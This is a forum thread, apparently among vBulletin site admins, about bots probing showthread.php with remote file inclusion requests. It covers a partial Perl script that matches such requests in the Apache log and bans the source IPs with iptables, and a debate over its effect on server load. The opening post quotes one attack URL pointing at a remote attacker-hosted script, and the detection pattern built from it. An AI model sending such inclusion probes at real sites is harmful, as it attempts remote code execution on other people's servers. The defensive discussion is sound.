Load Relief: Block the sniffers

If you have ever perused your logs on your big board, or any board for that matter, chances are you have seen requests like this:

/forums/showthread.php?t=http://somehackersite-usually-russian.ru/images/cs.txt?

Basically, there must have been some vulnerability in some version of VB that would probably execute whatever code is at somehackersite-usually-russian.ru/images/cs.txt, or at least display it in a users browser.

For the most part, these have been ferreted out by the VB team so it really isn't much to be worried about as far as security. These are just bots hitting known VB installs trying to recruit machines for some idiots nefarious dealings. If you watch your log in real time however, you can see that this happens over and over.. Multiple IP's from multiple locations. Basically, every time they hit the site, it creates load on the server.

This really annoys me because seriously, it is a waste of resources for not just me, but the hackers themselves. So finally I fired up my Perl scripting and wrote up something that searched the webserver log (access_log) and if it found any attempt to grab a thread starting with http:// it just banned it via iptables.. Here is a snippet:

open (FH, '/home/mysite/logs/access_log');

@log = <FH>;

close FH;

foreach (@log) {

if ($_ =~ m/showthread.php\?t=http:\/\//) {

# parse out and find IP, ban IP (unless it is mine, or in my range).

}

I won't post the entire code here, but basically it saves the IP's that it bans, to an array, serializes and saves it. Loads it upon script execution, unserializes it, and if a hack attempt is found in the log, and is not in the IP array, proceed to ban the ip with a drop:

$ban = `/sbin/iptables -I INPUT -s $ipaddress -j DROP`;

I ran this via a cronjob every 15 minutes and over the last 5 days I have banned over 600 IP addresses. Most of these are compromised machines I assume. Watching the logs, I see fewer and fewer hack attempts. The load on the server in question has dropped noticeably. Most of the time, this servers 30 minute average hovered around 0.50 - 0.60, it is now around 0.30 - 0.40.

Of course, the server could just be experiencing a slow week, but the numbers don't really indicate that.

I am considering redoing the script so I can release it to everyone free, it is just cobbled together at the moment so I don't really want to put it up yet.

Has anyone else here run into the same issues? Would anyone here be interested in the PERL script?

[Jafo232]

Originally Posted by kmike

Me thinks the load drop may have more with the Christmas season traffic lull than with the banning of these IP addresses....

And you base this on what exactly?

Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.

[EricGT]

Originally Posted by Jafo232

Your firewall isn't going to protect your site against such an attack as the firewall has port 80 open, otherwise it would not be serving pages.

If you are serving data dynamically, of course there is a chance someone could hack your system, which is why there are patches for software.

Ummm, port 80 is of course open, but the firewall does stateful packet inspection. The firewall's Intrusion Prevention system does block such attacks. Tens of thousands of them a day, in fact. It uses a realtime list of over 1,700 attack & exploit profiles to spot the illicit content in web traffic. I stay on top of patches and security updates, but a multi-layered defense offers added protection. Eric

[Jafo232]

Originally Posted by EricGT

Ummm, the firewall does stateful packet inspection. The firewall's Intrusion Prevention system does block such attacks. Tens of thousands of them a day, in fact. Eric

Sure, you can enter such rules into YOUR firewall to screen out such things, but the vast majority of users either do not have this feature, are ignorant on how to implement it, or do not have proper privi's to institute it.

Curious, does your solution block these IP's from further attacks?

[EricGT]

Originally Posted by Jafo232

Sure, you can enter such rules into YOUR firewall to screen out such things, but the vast majority of users either do not have this feature, are ignorant on how to implement it, or do not have proper privi's to institute it.

Curious, does your solution block these IP's from further attacks?

The security policy system in Astaro is very robust. Rules can be written to act on findings of the IDS. This software costs less than $500 for a ten user license, users being unique domain names served. It needs to run on a dedicated server, but I imagine that someone out there offers a firewall script, with similar features, that will run as a service on an existing server. Eric

BTW, my comments were not intended to minimalize what you did with the script described in the OP. Like I said, I believe in a multi-layered approach to security. Your script sounds like a good idea. EP

[TECK]

Originally Posted by Jafo232

And you base this on what exactly?
Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.

kmike runs a small site with only 9 million posts and 4,000 concurent users online.
I think his experiences are to be trusted among other big boarders...
Try to listen more and communicate, instead of being defensive. A script like yours will not do much good to an attack coming from a decent russian hacker. Pray that you will not piss anyone from the East side.

[kmike]

Originally Posted by Jafo232

And you base this on what exactly?

Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.

Well, apparently our forum audience is different from yours - we see a steady traffic drop during the Christmas week (up to 30% on 25th) and then a sharp increase on 26th when the members get back to the Net after the Christmas festivities.

But my point still stands, I don't think the vulnerability sniffing requests add much load to your forum. Their pattern is usually "hit and run" - no point hammering the forum with them when the first request (or the first few) fails. And besides, the target script will drop a parameter error at the very first stages of execution when the URI parameters are checked.

Of course, your efforts were not in vain, dropping the sniffing requests won't hurt the performance, but I think the effect is negligible compared let's say to the load the rampaging Yahoo spider can cause. Have you checked the search spider activity, maybe it's lower near the end of the year?

[Jafo232]

When you watch the logs in real time ( I use this ) along side with the server load, you can watch it happen right in front of you. The same IP will send out a list of attacks, each one firing up VB (i.e. loading files and connecting to DB). These same IP's will also hit other scripts on the server looking for vulnerabilities.

If you use a good stats program, you can isolate these IP's and show how many times they hit the server. At that point, you can check it against after you start banning the IP's. The amount of hits take a nosedive.

I pipe the output of the script to a log file so I can see how it goes over a period of time. I execute the job every 10 minutes and at first, every execution would have X amount of attempts. After running the script for a couple days, you begin to notice that several executions result in 0 attempts, and that grows in of itself.

To date, the script has banned 2,425 IP's. It started by banning about 35 - 45 IP's an hour, it has now dropped to about 4 - 8 an hour.

[kmike]

Originally Posted by Jafo232

If you use a good stats program, you can isolate these IP's and show how many times they hit the server. At that point, you can check it against after you start banning the IP's. The amount of hits take a nosedive.

I pipe the output of the script to a log file so I can see how it goes over a period of time. I execute the job every 10 minutes and at first, every execution would have X amount of attempts. After running the script for a couple days, you begin to notice that several executions result in 0 attempts, and that grows in of itself.

So what are the hit numbers you were seeing?

I checked the logs for the last two days, and there were less than 1000 hits with "=http://" URI parameter per day. It's certainly something I wouldn't worry about at this point, since it constitutes probably about a hundrenth of percent of our total daily hits. Also about 20% of these hits had 404 or other not-OK HTTP status.

Maybe for a small forum with less hardware resources 1000 stray hits per day could be a problem, but then again, I'm pretty sure the number of bogus hits depends linearly on the forum position in the search engines, and this in turn depends indirectly on the forum activity. So smallish forums should see less sniffer bot activity.
If I find time before the year end, I'll try to prove that theory by looking through the small forum logs I have access to.

[wesintl]

PLEASE email me this perl script. Our forum just got shutdown because of these hack attempts and they won't turn us back on until we have a script in place. Big thanks! kstiever at hot mail

[Jafo232]

Originally Posted by wesintl

PLEASE email me this perl script. Our forum just got shutdown because of these hack attempts and they won't turn us back on until we have a script in place. Big thanks! kstiever at hot mail

It very well could be that my script would not work on your server. It parses my log file, which is an apache log file. You may not even be using apache, may be using a different version, may not have access to the log, may not have access to crontab, may not have access to shell (ssh, telnet) etc..

If you are using a shared server, then there is a 99.9% chance this method will NOT work for you. You need access to tools usually only root has, such as iptables.

If you do have root to your server, you should contact someone who is fluent in Perl to write you up a script, as it should only take about an hour or two.